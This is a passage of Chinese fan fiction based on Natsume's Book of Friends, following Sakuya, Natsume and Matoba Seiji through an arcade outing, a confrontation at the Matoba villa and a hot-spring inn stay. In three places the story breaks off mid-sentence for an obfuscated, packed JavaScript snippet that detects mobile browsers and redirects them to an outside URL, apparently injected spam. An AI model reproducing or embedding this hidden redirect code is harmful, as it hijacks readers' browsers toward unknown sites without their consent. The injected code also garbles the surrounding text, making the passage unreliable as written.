“要试试吗?”朔也笑道:“的场家有道场哦,你去的话,静司先生一定会很高兴的。” 夏目尴尬地笑了两声,顿时打消了念头,“还是不打扰了……” 朔也并不强求,“那就下次再说吧。” 一盘盘肉被端了上来,厨艺担当朔也熟练地烤起了肉。 夏目看了一会儿也学了起来,不小心烤焦的就偷偷夹在其他肉里给猫咪老师,总归都是肉,猫咪老师吃得还挺开心。 吃完丰盛的午餐,朔也参考之前翔平给他的灵感,又带着夏目去了市中心的电玩城,不知道为什么,他总觉得夏目会喜欢这个地方。 事实也确实如此,夏目带着猫咪老师快玩疯了。 一个反应敏捷的少年外加一个隐藏妖怪外挂,明明是电玩新手,却意外地玩得还不错。 抓娃娃机就更不用说了,倒不是夏目的技术有多高超,而是猫咪老师直接钻进了机器里,作弊程度令人发指,如果不是夏目道德感太强,娃娃机估计要上演“员工”全员消失的恐怖故事了。 “夏目,去那边!” 代币都快用完了,猫咪老师依然意犹未尽,硬是把两人拖到了拍照区。 “为什么丑猫这么自恋?” 朔也习惯性地吐槽完猫咪老师,突然觉得和夏目拍照确实是个好主意。 “说起来,我们还没有合照过哎?” 因为这句话,两个男子高中生勇敢地沐浴着周围女性们意味不明的笑容,一起拍了各自人生的第一张“大头贴”。 当然,因为猫咪老师的大头夹在两人中间的关系,他们的头显得挺小的。 “噗嗤!” 拿到照片的朔也喷笑出声,嫌弃地笑道:“为什么丑猫的头上会有蝴蝶结啊,是HelloKitty的cos吗?” 夏目也跟着笑了起来,徒留无能狂怒的猫咪老师原地跳脚。 直到最后两人带着它重新拍了一组,这次摸索着去掉了滤镜,才算正常地呈现了猫咪老师的“英姿”。 等两人从电玩城出来的时候,天已经快黑了,他们决定吃完晚餐就去举办活动的影院。 这时夏目从包里掏出一个小盒子递给朔也。 “咦?这是什么?” “之前和滋叔叔去陶艺工坊,试着做了这个……”夏目不好意思地说道:“朔也帮了我很多,我不知道该怎么表达谢意,这个如果能用得上的话,就太好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885454|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 朔也好奇地打开盒子,里面是一只小巧的手作茶杯,黑色杯身的一侧画了一枚弯弯的金色新月。 “哇!是夏目亲手做的吗?好厉害!”朔也开心极了,“我一定会好好使用的!” 这是夏目第一次看到笑得这么开心的朔也,整个人都无比明媚,非常可爱。 他突然想起最开始遇见朔也的时候,面对朔也的帮忙,他的反应却是“我无法回报你”,那应该是非常失礼的回应吧。 现在,他终于给了朔也回报,不是他曾经以为的可以用来交换的东西,而是属于朋友的心意。 这份心意,能被朔也如此高兴地接收,真的,太好了。 * 首映活动进行到很晚,朔也到家的时候已经在打哈欠了。 他提着大包小包正准备进房间,隔壁房间的拉门就拉开了。 “抱歉,静司先生,吵到你了吗?” 的场静司带着八咫站在门口打量着朔也,微笑道:“看来和夏目君玩得很开心?” “嗯嗯,夏目兴致很高呢。”朔也忍不住感慨道:“而且体力出乎意料地好,我都困了他还精神抖擞的。”难道是自己锻炼的太少了吗? 原本站在的场静司肩上的八咫被朔也提着的东西吸引,飞了过去,好奇地在手提袋里扒拉起来。 “喂,八咫,别啄坏了!”朔也一边手忙脚乱一边说道:“静司先生,快去休息吧,我会小声的!” “嗯,晚安,朔也。” “静司先生晚安!” 看着朔也进了房间,的场静司看向遗落在地上的东西,那应该是八咫刚刚不小心扒拉出来的,像是某种票据。 的场静司没叫朔也,他捡起来看了看,原来是海洋馆的门票票根…… 朔也和夏目的关系,似乎好得超出他的预期了。 的场家当然很乐于见到这样的情形,夏目对的场的理念非常抵触,如果有朔也从中缓和,即便的场一门不能招揽夏目,也可以开展合作。 但对的场静司来说,朔也和夏目交好虽然很好,但过于交好就未免有些危险了。 的场家的兴起是从撕毁契约开始的,他们比任何人都知道一个人背弃约定有多么容易。 虽然朔也在的场家长大,他也信赖甚至依赖着自己,但这样的感情真的是坚不可摧的么? 朔也有着自己的理念和主张,他对的场一门的很多行径都表现出妥协的态度,但妥协不意味着他的“不赞同”消失了,如果未来某一天,当某件事超出了朔也可以容忍的限度,他是否会因此离开呢? 的场一门的除妖师,每年都来来去去,有很多人加入,也有许多意见不同者离开,就连姐姐史信,不也为了达成自己的目的而离家出走么? 朔也存在离开的可能,而夏目就像一个能够诱使他离开的饵。 他们同龄,有着相似的经历,不仅同样天赋出众,就连在理念上也有些相似——比起他,夏目更像是可以成为朔也同伴的那个人。 的场静司拿着票根的手渐渐握紧,所以有什么办法吗? 可以让朔也安心地、永远待在的场家的办法…… 49.第四十九章 冲突 * 朔也突然发现自己的事情多了起来,不是学业上的,而是的场家的。 一直“放养”他的静司先生不知出于什么考虑,开始亲自带着他参与到的场一门的许多事务中。 不过这也是迟早的事情,朔也明年就满16岁了,按照铃木慎吾和的场家的约定,朔也马上就可以独立承接委托了。 “这次去的是的场家的旧别墅,那里曾经是猎捕妖怪的据点,之后空置了一段时间,最近打算重新利用起来。” 朔也一边听着七濑的解释,一边翻看着手里的地图,这座别墅位于深山之中,看起来像一座森林中的孤岛。 这种位置的屋子,按照的场家的风格,要重新利用的话,总不至于是开发度假民宿,那肯定是…… “是要猎捕哪个妖怪吗?”朔也问道。 “是那座森林的主宰,一个叫‘六花’的妖怪,据说因为有它的统治,森林里的其他东西都很安分。”七濑笑着解释道:“当家对它很感兴趣。” 朔也看了看和他一起坐在车后排的“当家”,有些无语。 “哦呀,朔也好像有不同意见。”的场静司微微挑眉。 “招惹这种主宰一方的妖怪,可是会惹来不少麻烦。” 朔也对远离人类且不惹事端的妖怪没什么恶感,而且这种妖怪往往已经存在了很长时间,容易牵扯出其他东西。 “就算会有麻烦,但和强大的东西打交道,总归是更有趣一些,不是吗?” 看着的场静司笑眯眯的样子,朔也暗自叹了口气,却也知道,这样无所畏惧的心态,正是对方作为首领必须具备的。 * 这座旧宅空置的时间估计不算短,即便有人定期打理,房子也被藤蔓之类的植物逐渐侵袭、包裹,看上去阴森又荒凉。 房子周围密布着结界,室内也不遑多让,据说地下室还有关押妖怪的地牢,整座房子与其说是别墅,倒不如说是一座妖怪的囚笼。 的场家不择手段的程度被这做宅邸具象化了。 老实说,这让朔也感到不适。 如果静司先生想让这个地方重新成为牢笼的话,他一定会反对的。 在别墅里修整了一会儿,朔也就被安排跟着的场静司和其他同门一起去附近的森林里搜寻。 在这之前一段时间,的场家已经在森林里设置了大量的结界,以此来削弱“六花”的力量,逼迫它现身。 但不知道那个妖怪藏去了哪里,迟迟不见踪影,这次的场静司过来也有亲自收尾的意思。 朔也跟几位同门一组,负责搜寻森林里的一片区域。 穿过密布的结界,朔也随意地查看着四周。 经过的场家的驱逐,这附近已经没什么东西了,他觉得如果要找到“六花”,得往森林更深处去才行。 “朔也,不要走太远。”有同门突然提醒朔也。 “嗯,知道了。” 朔也一边答话一边往深处看了看,正在他犹豫的时候,灵敏的感知捕捉到了一缕微乎其微的妖气。 竟然敢在这种时候出现在结界密布的地方,是来为“六花”打探消息的妖怪吗? 朔也看着显露妖气的地方,若有所思。 * 夏目觉得自己和的场家还挺有缘的,不过是孽缘(当然不包括朔也!)。 前脚他刚因为友人帐被猿面妖怪绑架追击,后脚就因发现的场家的大宅子被的场的式神打晕抓进了地牢。 所以的场家到底是干什么的?正常且守法的家族会在自家宅子里建造地牢吗?! 条件反射地打倒式神、跑出地牢的夏目,只觉得大受震撼。 不过,虽然有着种种可怕猜想,但经过上次的事情,加上朔也的关系,夏目对的场的人品稍微多了信心,至少夏目相信,如果他表明身份,对方应该会放他离开的。 然而目前最大的问题是,他随身带着友人帐,现在装着友人帐的包不知道被扔到了哪里,会不会已经被的场拿到了呢? 如果被对方知晓友人帐的存在,那上面的妖怪可就有大麻烦了! 幸运地从垃圾桶里扒拉出猫咪老师的夏目最终决定,悄悄找到友人帐后就离开,不惊动的场,对友人帐来说才更安全。 这么想着的夏目,在偌大的宅子里搜寻一圈后,终于成功地——被的场静司逮住了。 “好久不见了,夏目君。” 的场静司抓住夏目拿着封印陶壶的手,笑道:“这算不算人赃并获呢?” 夏目用力挣脱他的手,“是你的式神把我打晕了带进来的!” “哦呀,那还真是抱歉,它们还认不出人类的脸,把你当成了入侵者。”说着的场静司站起身,“不过这下刚好,我正想跟你好好聊一聊呢。” 聊一聊?他们之间能聊什么? 夏目心里默默嘀咕着,被的场静司带到了一间会客的房间。 “来,请用茶吧。” 看着放到自己面前的茶水,夏目没有喝,而是问道:“朔也呢?不在这里吗?” 的场静司慢条斯理地喝了口茶,反问道:“你很喜欢朔也?” “当然!”肯定的回答脱口而出,但紧接着夏目又觉得的场的这句话似乎带着些不明的意味。 “那你喜欢朔也的什么呢?”的场静司看着夏目,继续问道。 夏目皱起眉头,“什么喜欢什么?”他总觉得对方的问题很诡异,像是某种陷阱。 “是喜欢他在你最无助的时候帮了你吗?还是喜欢他聪敏、强大又果断?或者是他毫无保留的信任、体贴和温柔……” 夏目打断了的场。 “的场先生为什么要问我这些?” 夏目敏锐地感知到了某种模糊的东西,他忍不住说道:“朔也值得被任何人喜欢,这一点你不是最清楚吗?” 的场静司放下茶杯,微笑道:“嘛,确实如此。” “所以,你到底想和我说什么?”夏目皱着眉,不耐烦地问道。 “其实我很早之前就想邀请你,要不要加入的场一门呢,夏目君?” 夏目看着对方的笑容,想起之前朔也和他聊过的那些。 “想必你也知道,朔也的理念和的场家有些不同,但尽管如此,他依然是的场一门非常重要的成员。” 的场静司的微笑更真实了一些,“不过,这孩子在的场家没什么同龄的伙伴,倒是和你非常投缘,如果你能加入的场一门,可以和朔也一起行动。” “朔也可以成为你的引导者,的场家也会保护你,这样不是很好吗?” “的场先生,这是你的邀请还是朔也的邀请?” 的场静司停顿了一瞬,依然笑道:“有什么区别吗?” 夏目看着他,认真说道:“如果是你的邀请,我拒绝。如果是朔也的邀请,那就让朔也亲自和我说。” 的场静司挑眉,“看来,你真的很讨厌我呢。” 夏目没吭声。 “不过,你就算不为自己考虑,也要为现在照顾你的人考虑吧?” 夏目抬眼看向的场静司。 “听说藤原夫妇把你当做自己的孩子一样照料,但他们知道你能看见妖怪吗?当他们真正了解了你,还会像现在这样接纳你么?” “这跟你没有关系!”夏目猛地站起身,“我要回去了!” 的场静司盯着他不容拒绝地说道:“我话还没有说完。” “和人类有着隔阂,却和妖怪亲密无间,明明拥有让所有咒术师都羡慕的强大力量,却选择用来帮助那些妖怪,这样的你,是更愿意和妖怪为伍吗?” “我遇见了许多心地善良的人,也遇见了很多和人类拥有同样情感的妖怪,人也好,妖怪也好,又有什么分别?” 的场静司站起身,似笑非笑地说道:“所以,你竟然觉得人类跟妖怪是一样的?” 夏目只觉得这个人很是莫名其妙,“我怎么想和你无关!” 的场静司正准备开口,却突然察觉到一股妖气袭来,他猛地后退几步闪开。 下一瞬,显露出真身的猫咪老师直接撞破障子门,冲进了和室。 “夏目!” “哦呀,原来猫咪也在啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894714|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “的场家的小鬼,又想给我上供馒头吗?” 的场静司欣赏着大妖怪的真身,毫不介意地答道:“如果你愿意为我所用的话,当然可以。” 猫咪老师嘁了一声,“走吧,夏目!” 夏目看着已经被猫咪老师找到的挎包,高兴地点点头。 “我还没允许你们离开哦。” 的场静司话音刚起,就甩出一张符咒击中猫咪老师,让它变回了陶俑模样。 “猫咪老师!”夏目紧张地看了看猫咪老师,又生气地看向的场,“你想干什么?” 的场静司没有回答他,反而若有所思地看着夏目和他身边的妖怪。 “你是因为被它迷惑,才觉得妖怪可亲吗?” “你在说什么?” “这种妖怪留在你身边,一定是为了达成它不为人知的目的,它故意装出喜欢你、对你充满感情的样子,不过是迷惑你任他摆布罢了。” “这是我自己的事,不用你管!” “真是冥顽不灵!” 就在两人间的气氛越来越紧张的时候,一个身影出现在门口。 “静司先生,让夏目离开吧。” “朔也!”夏目大喜过望。 “啊,朔也,你回来了。”的场静司一脸平静地打着招呼,好像刚刚剑拔弩张的氛围未曾存在过一样。 朔也打量了两人一妖一眼,又看向不知道为什么一片狼藉的会客室,只觉得头隐隐作痛。 “你们吵架一定要弄出这么大动静吗?” 朔也看着破掉的障子门,被掀翻在地的桌子,以及早已稀碎的茶杯,困惑之余很是无语。 “呃,对不起,是猫咪老师它太激动了……” “没关系,夏目。”朔也冲他笑了笑,然后看向一旁的的场静司,“是请喝茶的人招待不周了。” 的场静司的笑容显得很无辜,“我只是和夏目君聊聊天而已。” “你们的聊天看起来不太愉快。”朔也无奈地说道:“那就送客吧。” “他们现在走可是会妨碍到的场家哦。”的场静司看着朔也,笑道:“这样朔也也不在意吗?” “我更在意静司先生打算怎么强行留客?”朔也叹了口气,“用这座宅子底下的地牢吗?那只丑猫也就算了,关押人类可是违法的。” “至于妖怪‘六花’的事情。”朔也咳嗽了两声,继续说道:“在这种时候消失无踪的一方之主,要么已经失去了力量,要么胆小狡诈,为这种妖怪大费周章毫无意义。” “胡说!首领才不是那样的!”一直安静如鸡的陶壶里传出了猿面妖怪愤愤不平的声音。 朔也瞅了陶壶一眼,懒得理会,他看向一脸紧张的夏目,笑道:“夏目,走吧,我送你出去。” 这次的场静司没有阻拦。 朔也将夏目带到结界之外,视线扫过少年身上的挎包,以及正静静盯着他的猫咪老师,最后看向夏目。 “今天的事……” “呃,对不起!其实是我、我无意中跑到这边,被的场先生的式神抓进去了……” “我就知道。”朔也嘀咕着,又想叹气了,“总之,是我们失礼了。” 想了想他又补充道:“如果静司先生对你说了什么过分的话,请不要放在心上,他最近心情似乎不太好……”整个人有着潜藏的躁动,难以捉摸。 夏目点点头,看向朔也,迟疑了一瞬说道:“我感觉的场先生非常在意你。” “嗯,我知道。”朔也笑了起来,“所以抱歉,夏目,就算他对你很失礼,我还是不能生他的气。” 夏目也笑了,“没关系。”他隐约能理解朔也的感受。 两个人说完话,夏目正准备离开,又想起手里封印着猿面妖怪的陶壶,有些尴尬地看向朔也,却见朔也故意看向别处并嫌弃地摆了摆手,他顿时笑了起来。 “朔也,我先走了,下次再见!” 朔也看着少年的背影,叮嘱了一句,“夏目,保护好你自己,还有重要的东西。如果需要帮忙的话,记得打电话。” “嗯,谢谢啦!” 50.第五十章 民宿 * 朔也回到宅子里时,的场静司已经不在会客室了,几位同门正在打扫整理,于是他跟着帮了会儿忙。 打扫完,正在朔也想着要不要去找的场静司的时候,有同门热心地告知他,“七濑桑回来了,正在和当家商量猎捕行动的事情。” “啊,谢谢。” 朔也打消了之前的念头,准备找地方休息一会儿,不知道为什么,他总觉得脑袋昏沉沉的。 走在别墅的外廊上,山风带着森林的气息吹了进来,随之而来的则是一阵混杂的妖气。 朔也驻足,望向远处。 蓬勃的妖力如狂风一般刮过整片森林,朔也感知到结界被瞬间摧毁的动静,被禁锢的灵气再次涌动,原本静谧压抑的森林仿佛突然活了过来。 看着空中列阵而行的一众妖怪,朔也想起他之前在森林里打探到的消息。 当时他以为泄露妖气的是“六花”的手下,于是佯装成妖怪想套话,没想到对方只是几个被结界驱赶得迷了路的低级妖怪。 更没想到,那几个糊涂蛋把他错认成了“六花”的手下,一见面就求饶,说没见过“友人帐”。 这当然引起了朔也的好奇,于是他以带低级妖怪们走出森林为条件打听了“友人帐”的事。 其实,听完妖怪们的分享后,朔也首先想到的是蓼牙讲的那个关于夏目玲子的不靠谱故事。 如果是夏目玲子创造了友人帐的话,她的力量之强大自然毋庸置疑,而一个人若能掌控那么多妖怪,那四处征伐、成为一方之主似乎也是理所当然的事……所以妖怪之间才流传起那样的故事吗? 而现在,友人帐显然就在夏目手中。 朔也只想深深叹气,夏目本就容易吸引妖怪,再加上友人帐这个大麻烦,会被迫碰上多少糟心事,他都不敢想。 是的,朔也觉得友人帐是个大麻烦。 先不论有多少像“六花”这样的妖怪想夺取友人帐,也不论这个账本中到底记载了多少妖怪的名字,仅以夏目玲子的能力判断,也知道那里面肯定少不了难缠的家伙。 这些妖怪怎么可能任由一个人类掌握自己的生死,肯定会想尽办法拿回名字…… 等等,拿回名字? 朔也突然想起自己第一次在夏目家留宿的时候,深夜有个妖怪来找夏目,就是为了拿回名字。 所以,夏目是在将友人帐里的名字还给妖怪们吗? 想通这一点,朔也顿时稍微安心了些。 至少,就算友人帐里有难缠的妖怪,只要夏目愿意归还名字,那就好办多了。 而且…… 朔也看着早已远去的妖怪们,他在刚刚那股蓬勃的妖力里感觉到了丑猫的妖气,这样看来,夏目结识的妖怪显然不止丑猫一个。 真不知道这样对夏目来说是好事还是坏事。 静司先生觉得夏目太过亲近妖怪,但要是夏目拥有友人帐这样的东西的话,和越来越多的妖怪产生交集是一种必然。 大概也只有夏目这样的人,才不会将友人帐当做力量为己所用吧,在知道友人帐对妖怪意味着什么之后,他肯定也不会置之不理。 如此想来,还回名字是最好的也最适合夏目的办法了。 虽然不知道为什么静司先生迟迟没有查到这件在妖怪中流传甚广的事情,但朔也已经决定,他会对“友人帐”守口如瓶,这不仅是为了夏目的安全,也是为了的场家。 执着于掌控不属于自己的强大力量,这样的家族迟早会被贪婪反噬,朔也不想看到那样的场景。 “朔也,还在生气吗?” 的场静司不知什么站在了朔也身后。 朔也被吓了一跳,抱怨道:“静司先生,走路不发出声音真的很可怕好吗!” “啊,抱歉。”的场静司毫无歉意地微笑着,问道:“所以,生气了吗?” 朔也觉得额角处一跳一跳地痛着,有气无力地说道:“没人会为这种事情生气啦。” “你知道我问的是哪件事。” 朔也只想叹气,“我没生气,但静司先生为什么要对夏目说那些话呢?” “我想让夏目君加入的场一门。”的场静司无辜地说道:“但他好像对妖怪很有感情,不愿意做除妖师。” “夏目和的场家的理念不合,是不会加入的场家的。”朔也直率地说道:“而且以朋友的立场来看的话,我觉得名取先生比的场家更适合夏目。” “即使朔也在的场家也不行吗?”的场静司看着朔也,“我倒觉得,比起周一,你和夏目君更适合。” “所以我们是朋友啊。”朔也无奈地说道:“如果以后有需要夏目帮忙的地方,我一定会和他合作的,就算夏目没有加入的场一门也不影响这样的合作,不是吗?” 的场静司若有所思地说道:“我以为你愿意和夏目君更亲近一些。” 朔也笑了起来,“那也不至于为了这个就让夏目住到的场家来吧,就算是朋友也不需要整天都黏在一起。” “况且,我在的场家有静司先生,不再需要其他人的陪伴了……阿嚏、阿嚏!” 朔也突然打了好几个喷嚏,打完之后只觉得刚刚隐隐作痛的头又叠加了头晕的debuff。 的场静司看着朔也泛着水光的眼睛和两颊边明显的红晕,怀疑地伸手探了过去。 “朔也,你在发烧?” “啊?” * 因为朔也突如其来的感冒,关于那天的事情,两个人的交谈也就此终止。 感冒痊愈后就是期末考试,生病加上努力学习的消耗,朔也整个人都瘦了一圈。 一直照顾朔也的女仆们都很担心,所以在听说的场静司要带朔也去度假之后,她们表现得比朔也还要高兴。 “听说是去美丽的温泉民宿呢!” “啊,这种地方一般会有花火大会吧,真让人羡慕啊!” “朔也少爷就趁着暑假好好修养吧!” “静司少爷也是,成为当家后一直没有好好休息。” 这句话倒是提醒了朔也,自从成为首领后,的场静司一直都很忙碌。 在那之前,每逢长假,的场静司都会空出几天时间带朔也出去逛逛,这是连身为父亲的铃木慎吾也很难做到的事情。 距离上一次两人出行度假已经有一年多的时间了,意识到这一点,朔也对这次的出行格外期待起来。 他们去往的民宿在一个宁静的乡村,它虽然距离颇有名气的温泉小镇不远,却更偏僻一些,游客不多,显得非常清静。 “这里对朔也来说太冷清了吧?”的场静司看着朔也,“这座民宿的主人特意邀请我过来,所以……” “这里很好哦!”朔也指了指站在自己背包上四处张望的白色渡鸦,笑道:“而且可以带上八咫,这可是它第一次出远门。” “嘎!”八咫响亮地应了一声。 “啊,这是神的使者吗?看来我这里即将有好事发生了。” 说话的是一位穿着深色和服的年轻女士,她戴着眼镜,气质非常独特,让朔也瞬间联想起一些文学意象。 “桐野小姐,好久不见。” 的场静司和对方打了招呼,而后给两人做了介绍。 桐野梓是这座温泉民宿的主人,但真正的本职却是漫画家,因为操持家业的父亲几年前去世,所以她从东京回到故乡,帮助母亲和妹妹继续经营民宿。 之前她在创作的时候向的场静司咨询过民俗相关的事情,现在作品顺利出版,加上民宿刚翻新过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899901|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为表感谢,特意邀请的场静司过来做客。 “两位是民宿修整后的第一批客人,若觉得有哪里需要改进的,还请告诉我们。” “桐野小姐客气了,接下来几天就多有叨扰了。” 朔也跟着行礼,而后抬头打量起眼前的建筑。 这是一座乡下常见的旧式住宅,翻新并没有掩盖掉整座房子的时光痕迹,看上去不大但简约雅致,而且有着家一样的温馨氛围。 桐野小姐的妈妈是位亲切开朗的夫人,很热情地招待了他们,特意为两人安排了有露天天然私汤的房间。 这个房间很宽敞,砌着温泉池的小院子更是打理得很精心。虽然朔也也去过其他温泉旅馆,但不知道是不是心理作用,他总觉得这里显得更舒适一些,让他不自觉地放松下来。 “嘎!” 八咫突然叫了一声,然后冲着温泉池飞了过去。 从泉眼溢出的温泉水会流经一个浅浅的石盆然后注入池中,而八咫就是冲着那个石盆去的,对它来说,那就是个最舒适的天然澡盆。 “啊,八咫也太会享受了吧!”朔也看着八咫扑扇着翅膀忘乎所以的“洗澡舞”,无奈地嘟囔道:“难道我们等会儿要泡它的洗澡水吗?” 虽然嘴上说得很嫌弃,但是到了享受温泉的时候,朔也还是第一时间泡到了池子里。 夏季泡温泉和冬季不一样,刚进水的时候会觉得燥热,但过一会儿开始出汗后,又会觉得畅快起来。 朔也甩了甩头发,视线扫过一旁的的场静司而后又折了回去。 为了方便和妖怪做交换,的场静司很早便蓄起了头发,现在后面的头发已经很长了。 因为要泡温泉,他把长发部分绑了起来,但看得出绑得很草率,没一会儿就有散开的迹象。 “静司先生,你的头发散了,要帮忙吗?” “啊,拜托了。” 的场静司转过身,朔也扯掉发带,整理好头发又重新绑好。 这本来不是什么大不了的事情,的场静司有时候犯懒,甚至会直接去朔也房间让他帮忙打理头发。 但眼下的场景实在太不一样。 黑色的头发沾了水汽,显露出绸缎般的质地,而在绸缎之下,是青年修长的脖颈和端正的肩膀,赤裸的轮廓线条显得流畅利落,展现出一种难以言喻的美感。 朔也定定地看了一会儿,直到对方的身体动了动,他才猛地回过神来,只觉得温泉池里突然热得过分,口也渴得厉害。 “怎么了?” “呃、我去喝点水……” 朔也逃一般地跑去灌了半壶水,等到脸上的温度降低了些,才慢吞吞地回到院子里。 只是这一次,他的眼神飘忽着,始终不敢落到对方身上。 再次浸泡到温泉中,朔也不敢乱看,索性仰起头,透过庭院望向远处的山峰和傍晚的云霞。 院落靠近墙根的地方种植着花草和苔藓,里面藏着蟋蟀和铃虫,此刻正是它们“报时”的时间。 八咫则早就不知飞去了哪里,院子里除了潺潺水声就只剩下阵阵虫鸣,让这方小世界变得宁静平和。 两人都沉浸在这样的氛围里,没有说话。 朔也闭上眼睛,他的脑海里忽而又浮现出刚才的画面。 那一幕模糊了性别,像是某种雅致含蓄的风物,挺拔而优越,美得动人心弦。 对静司先生的身体产生这种感觉,是正常的吗? 朔也有些困惑,还有些说不上来的心虚。 “朔也。” 挂在屋檐下的风铃突然响了,伴随着的是的场静司的声音。 朔也一个激灵睁开眼望了过去,的场静司正在落下的雪花中冲他微笑。 等等……雪花?! 51.第五十一章 雪泉 * 在八月的温泉上空,竟然飘起了雪花。 朔也伸出手,看着雪花在落入手心的前一秒瞬间消失,逸散出极微弱的妖气。 他往上看去,那些雪花在几乎与屋顶齐平的高度出现,仅覆盖了温泉池的区域,就像是这处温泉独有的景观。 “静司先生,这个是什么?” “大概是某个妖怪的恶作剧吧。” 的场静司欣赏着奇怪的落雪,看上去并不担心。 “唔……这个不需要处理吗?”朔也有些疑惑。 的场静司不在意地说道:“只是玩闹似的小把戏罢了,没什么危害,普通客人也无法看见。” “这样啊……” 朔也看着头顶的雪花,它们仿佛正被雪风吹拂着,在空中飞舞出轻盈的姿态,如果不考虑是妖气形成的话,其实很美,尤其是在炎热的盛夏,这样奇妙的雪景让人觉出几分怡人的清凉。 “如果朔也好奇的话,可以去询问桐野小姐,她对怪谈类的话题很感兴趣。” “嗯?”朔也看向的场静司,总觉得对方的态度有些奇怪。 “我的话,最近几天完全无心工作呢。”的场静司懒洋洋地说道。 朔也无语。 但这样的让他十分熟悉的的场静司,成功掩盖了他脑海中的那些画面,一切都恢复了原样,这让朔也暗暗松了口气。 * 民宿里的晚餐十分丰盛,是由桐野小姐的妹妹制作的,她性格内敛但十分擅长厨艺,据说因为餐食太美味的缘故,有几位老顾客会定期光顾民宿。 桐野小姐作为主人,在餐厅招待的场静司和朔也。 在她和的场静司说话的时候,朔也忍不住多看了她几眼。 桐野梓的气质总给朔也一种作家印象,只有注意到她的手时才能感觉到漫画家这个职业给她带来的印记。 她的右手中指第一关节侧有个厚厚的茧,明显是常年执笔造成的,其次则是手背至手腕处贴着的膏药,这多半是为了缓解手部的疲劳。 “铃木君似乎很好奇?” 桐野梓非常敏锐,她很快便察觉到朔也的视线,笑着伸出手展开。 “很多人会误以为我是作家,也只有这双手能为我的职业证明了。” 朔也笑了起来,“总觉得桐野小姐的漫画作品也会带有某种文学气质。” “那估计就是恐怖文学气质了。”桐野梓笑道:“我的第一部作品《幽世草纸》就是以恐怖怪谈为灵感创作的。” “诶?我看过这个漫画。”朔也有些意外,他看向一旁的的场静司,这部怪谈类的漫画还是对方塞到他的书架上的。 “铃木君觉得它如何?”桐野梓不好意思地说道:“抱歉,因为是创作者的关系,总是很好奇读者的看法。” “呃。”朔也犹豫了一瞬,还是坦率地说道:“我觉得不太恐怖,但怪谈本身就足够有趣了。” “啊,和的场先生的评价差不多。” 朔也讶异地看了的场静司一眼,几乎都能想到他一脸笑眯眯地评价“有趣”的样子。 桐野梓笑着看着他俩,不知联想到什么,眼睛微微亮起来。 “说起来,两位都是那种一出场就会充满故事感的人呢!” “故事感?” “嗯!”桐野梓点点头,有些兴奋地说道:“无论是形象还是气质都会让人不自觉地展开联想。” “比如铃木君,如果在漫画中登场的话,会让人觉得是主角阵营里的高人气角色,是主角亦师亦友的同伴,总在主角遭遇危机的时候成为可靠的助力。” “诶?”朔也眨了眨眼,他的人设是这么具体的吗? “的场先生的话……” 桐野梓还在斟酌的时候,朔也就忍不住小声说道:“不会是反派吧?” “没错!”桐野梓笑道:“的场先生很适合展现亦正亦邪的‘反派’角色,因为充满危险的魅力,会引来超多读者的迷恋哦~” 朔也不禁笑出声来,边笑边打量着身旁的青年,越看越觉得桐野小姐说的很有道理。 “啊,突然很有灵感,两位介意成为我的角色参考对象吗?” “当然不介意!”朔也爽快地摇摇头,“这样就像是另一个我在异世界里展开冒险,会很有趣,如果反派是静司先生的话,那就更有趣了!” 的场静司自然也不介意,反而微笑道:“如果我是反派的话,一定会不择手段笼络主角的可靠同伴的。” 朔也听着他和往常一样的调侃,脸却微微有点升温,不知道是不是他的错觉,他总觉得桐野小姐的眼睛更亮了。 几人又聊了一会儿,趁着气氛轻松,朔也终于问道:“桐野小姐,这附近有什么怪谈或传说吗?” “啊,有不少呢。”桐野梓笑道:“一般乡下都会有,因为人们时常入山,容易迷路或遭遇动物,所以有关山神、河童、狐妖之类的怪谈尤其多。这些怪谈被一代代人口口相传,结合当地的怪事,往往又会演变出新的传说。” 朔也点点头,妖怪也多是出现在人迹罕至的森林里。 “除此之外,在我们这种有地热的地方,最普遍的就是和温泉相关的怪谈了,比如‘亡灵之汤’,或者‘诅咒之泉’,其实追根溯源,可能是很久以前有人在泡温泉时引发了急症,其他人不知缘由,出于恐惧便认为是人触怒了鬼神,怪谈也因此诞生了。” 朔也思忖道:“听上去,比起怪谈故事的诡谲,桐野小姐对怪谈的起源更感兴趣。” “这么说也没错。”桐野梓笑了笑,“因为我心中存有疑惑,总想通过寻求同类现象的答案来推测真相。” “真相?”朔也顿时精神起来,“是和怪谈有关的疑惑吗?” “准确说的话,那只能算是发生在这个家的怪事。” 朔也和的场静司对视了一眼,看向桐野梓,“是和温泉有关的吗?” 桐野梓有些诧异,点头道:“确实,不过那是很久之前的事了,希望不会影响你们入住的心情。” “没关系!”朔也笑道:“我们都胆大得很呢!” 桐野梓放下心来,讲起她幼年时的事情。 